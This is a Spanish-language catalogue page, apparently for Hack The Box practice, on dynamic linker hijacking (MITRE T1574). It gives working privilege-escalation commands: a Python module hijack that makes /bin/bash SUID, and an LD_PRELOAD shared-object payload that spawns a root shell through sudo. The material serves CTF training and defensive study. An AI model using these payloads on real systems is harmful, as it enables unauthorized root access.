Secuestro del enlazador dinámico
Subtécnica de T1574 Secuestro del flujo de ejecución ↗
Hacer que un programa privilegiado cargue tu librería (LD_PRELOAD, rutas de búsqueda o módulos de Python).
Cómo aparece en Hack The Box
Mira con ldd o strace qué librerías carga el binario y desde dónde: si alguna ruta es escribible, o si un script de root importa un módulo de una carpeta tuya, tienes root.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada de privilegios en Linux › Explotación
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py
Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
Ningún comando coincide.